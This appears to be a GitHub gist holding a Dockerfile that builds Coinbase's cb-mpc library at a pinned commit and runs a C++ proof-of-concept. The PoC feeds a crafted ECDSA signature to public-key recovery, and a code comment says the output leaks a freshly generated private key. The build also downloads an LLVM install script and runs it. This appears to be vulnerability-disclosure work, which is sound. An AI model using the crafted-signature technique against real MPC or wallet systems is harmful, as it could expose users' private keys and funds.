Skip to content

Instantly share code, notes, and snippets.

@guidovranken
Created January 16, 2026 00:43
Show Gist options
  • Select an option

  • Save guidovranken/86e45c5aaaf30284ca24bd41ef428045 to your computer and use it in GitHub Desktop.

Select an option

Save guidovranken/86e45c5aaaf30284ca24bd41ef428045 to your computer and use it in GitHub Desktop.
# docker build -t cbmpc-poc . && docker run cbmpc-poc
FROM ubuntu:24.04@sha256:7a398144c5a2fa7dbd9362e460779dc6659bd9b19df50f724250c62ca7812eb3
# Avoid prompts from apt
ENV DEBIAN_FRONTEND=noninteractive
# Update package lists and install dependencies
RUN apt-get update && \
apt-get install -y \
wget \
lsb-release \
software-properties-common \
gnupg \
&& rm -rf /var/lib/apt/lists/*
# Add LLVM repository and install Clang 19
RUN wget https://apt.llvm.org/llvm.sh && \
chmod +x llvm.sh && \
./llvm.sh 19 && \
rm llvm.sh
# Set Clang 19 as the default
RUN update-alternatives --install /usr/bin/clang clang /usr/bin/clang-19 100 && \
update-alternatives --install /usr/bin/clang++ clang++ /usr/bin/clang++-19 100
# Install build dependencies
RUN apt-get update && \
apt-get install -y \
git \
cmake \
make \
perl \
&& rm -rf /var/lib/apt/lists/*
# Set CXX environment variable
ENV CXX=clang++
# Build OpenSSL
WORKDIR /build
RUN wget 'https://github.com/openssl/openssl/releases/download/openssl-3.2.0/openssl-3.2.0.tar.gz' && \
tar -xzf openssl-3.2.0.tar.gz && \
mkdir openssl-install/
WORKDIR /build/openssl-3.2.0
RUN ./Configure -g3 -static -DOPENSSL_THREADS no-shared no-afalgeng no-apps no-aria no-autoload-config no-bf no-camellia no-cast no-chacha no-cmac no-cms no-crypto-mdebug no-comp no-cmp no-ct no-des no-dh no-dgram no-dsa no-dso no-dtls no-dynamic-engine no-ec2m no-egd no-engine no-external-tests no-gost no-http no-idea no-mdc2 no-md2 no-md4 no-module no-nextprotoneg no-ocb no-ocsp no-psk no-padlockeng no-poly1305 no-quic no-rc2 no-rc4 no-rc5 no-rfc3779 no-scrypt no-sctp no-seed no-siphash no-sm2 no-sm3 no-sm4 no-sock no-srtp no-srp no-ssl-trace no-ssl3 no-stdio no-tests no-tls no-ts no-unit-test no-uplink no-whirlpool no-zlib --prefix=/build/openssl-install/ && \
make -j$(nproc) && \
make install_sw
# Set OpenSSL environment variable
ENV OPENSSL_LIBCRYPTO_A_PATH=/build/openssl-install/lib64/libcrypto.a
ENV OPENSSL_INCLUDE_PATH=/build/openssl-install/include/
# Build cb-mpc
WORKDIR /build
RUN git clone https://github.com/coinbase/cb-mpc.git
RUN cd /build/cb-mpc/ && git checkout f36b009747054b1dba30b9affde4409f76976af0
WORKDIR /build/cb-mpc
RUN mkdir build/
WORKDIR /build/cb-mpc/build
RUN cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_TESTS=OFF -DCBMPC_OPENSSL_ROOT=/build/openssl-install .. && \
make -j$(nproc)
# Set cb-mpc environment variables
ENV LIBCBMPC_A_PATH=/build/cb-mpc/lib/Release/libcbmpc.a
ENV LIBCBMPC_INCLUDE_PATH_1=/build/cb-mpc/src/
ENV LIBCBMPC_INCLUDE_PATH_2=/build/cb-mpc/vendors/
WORKDIR /
# Create the POC C++ program
RUN echo '#include <cbmpc/crypto/base.h>\n\
#include <stdio.h>\n\
#include <string.h>\n\
static void print_bytes(const char* label, const uint8_t* data, size_t len) {\n\
printf("%s (%zu bytes):\\n", label, len);\n\
for (size_t i = 0; i < len; i++) {\n\
printf("%02X", data[i]);\n\
if ((i + 1) % 32 == 0) printf("\\n");\n\
else if ((i + 1) % 4 == 0) printf(" ");\n\
}\n\
printf("\\n\\n");\n\
}\n\
void recover(\n\
const uint8_t* msg, const size_t msg_size,\n\
const uint8_t* sig_bytes, const size_t sig_size) {\n\
const ecurve_t curve = coinbase::crypto::curve_secp256k1;\n\
coinbase::crypto::ecdsa_signature_t sig;\n\
if ( sig.from_der(curve, mem_t(sig_bytes, sig_size)) ) return ;\n\
ecc_point_t recovered_pub;\n\
if ( sig.recover_pub_key(mem_t(msg, msg_size), 0, recovered_pub) ) return;\n\
auto compressed_pubkey_bytes = recovered_pub.to_compressed_bin();\n\
/* This prints the private key */\n\
print_bytes("Recovered public key", compressed_pubkey_bytes.data(), compressed_pubkey_bytes.size());\n\
}\n\
std::array<uint8_t, 32> get_private_key(void) {\n\
const ecurve_t curve = coinbase::crypto::curve_secp256k1;\n\
coinbase::crypto::ecc_prv_key_t priv;\n\
priv.generate(curve);\n\
\n\
auto priv_bytes = priv.value().to_bin();\n\
print_bytes("Private key", priv_bytes.data(), priv_bytes.size());\n\
std::array<uint8_t, 32> ret;\n\
memcpy(ret.data(), priv_bytes.data(), 32);\n\
return std::move(ret);\n\
}\n\
int main(void)\n\
{\n\
const uint8_t msg[] = {\n\
0x3b, 0x78, 0xce, 0x56, 0x3f, 0x89, 0xa0, 0xed,\n\
0x94, 0x14, 0xf5, 0xaa, 0x28, 0xad, 0x0d, 0x96,\n\
0xd6, 0x79, 0x5f, 0x9c, 0x63};\n\
const uint8_t sig_bytes[] = {\n\
0x30, 0x2e, 0x02, 0x15, 0x3b, 0x78, 0xce, 0x56,\n\
0x3f, 0x89, 0xa0, 0xed, 0x94, 0x14, 0xf5, 0xaa,\n\
0x28, 0xad, 0x0d, 0x96, 0xd6, 0x79, 0x5f, 0x9c,\n\
0x63, 0x02, 0x15, 0x76, 0xf1, 0x9c, 0xac, 0x7f,\n\
0x13, 0x41, 0xdb, 0x28, 0x29, 0xeb, 0x54, 0x51,\n\
0x5a, 0x1b, 0x2d, 0xac, 0xf2, 0xbf, 0x38, 0xc6};\n\
get_private_key();\n\
recover(msg, sizeof(msg), sig_bytes, sizeof(sig_bytes));\n\
return 0;\n\
}' > /poc.cpp
# Compile the POC program
RUN clang++ -I $OPENSSL_INCLUDE_PATH -I $LIBCBMPC_INCLUDE_PATH_1 -I $LIBCBMPC_INCLUDE_PATH_2 /poc.cpp $LIBCBMPC_A_PATH $OPENSSL_LIBCRYPTO_A_PATH -o /poc
# Run the POC program by default
CMD ["/poc"]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment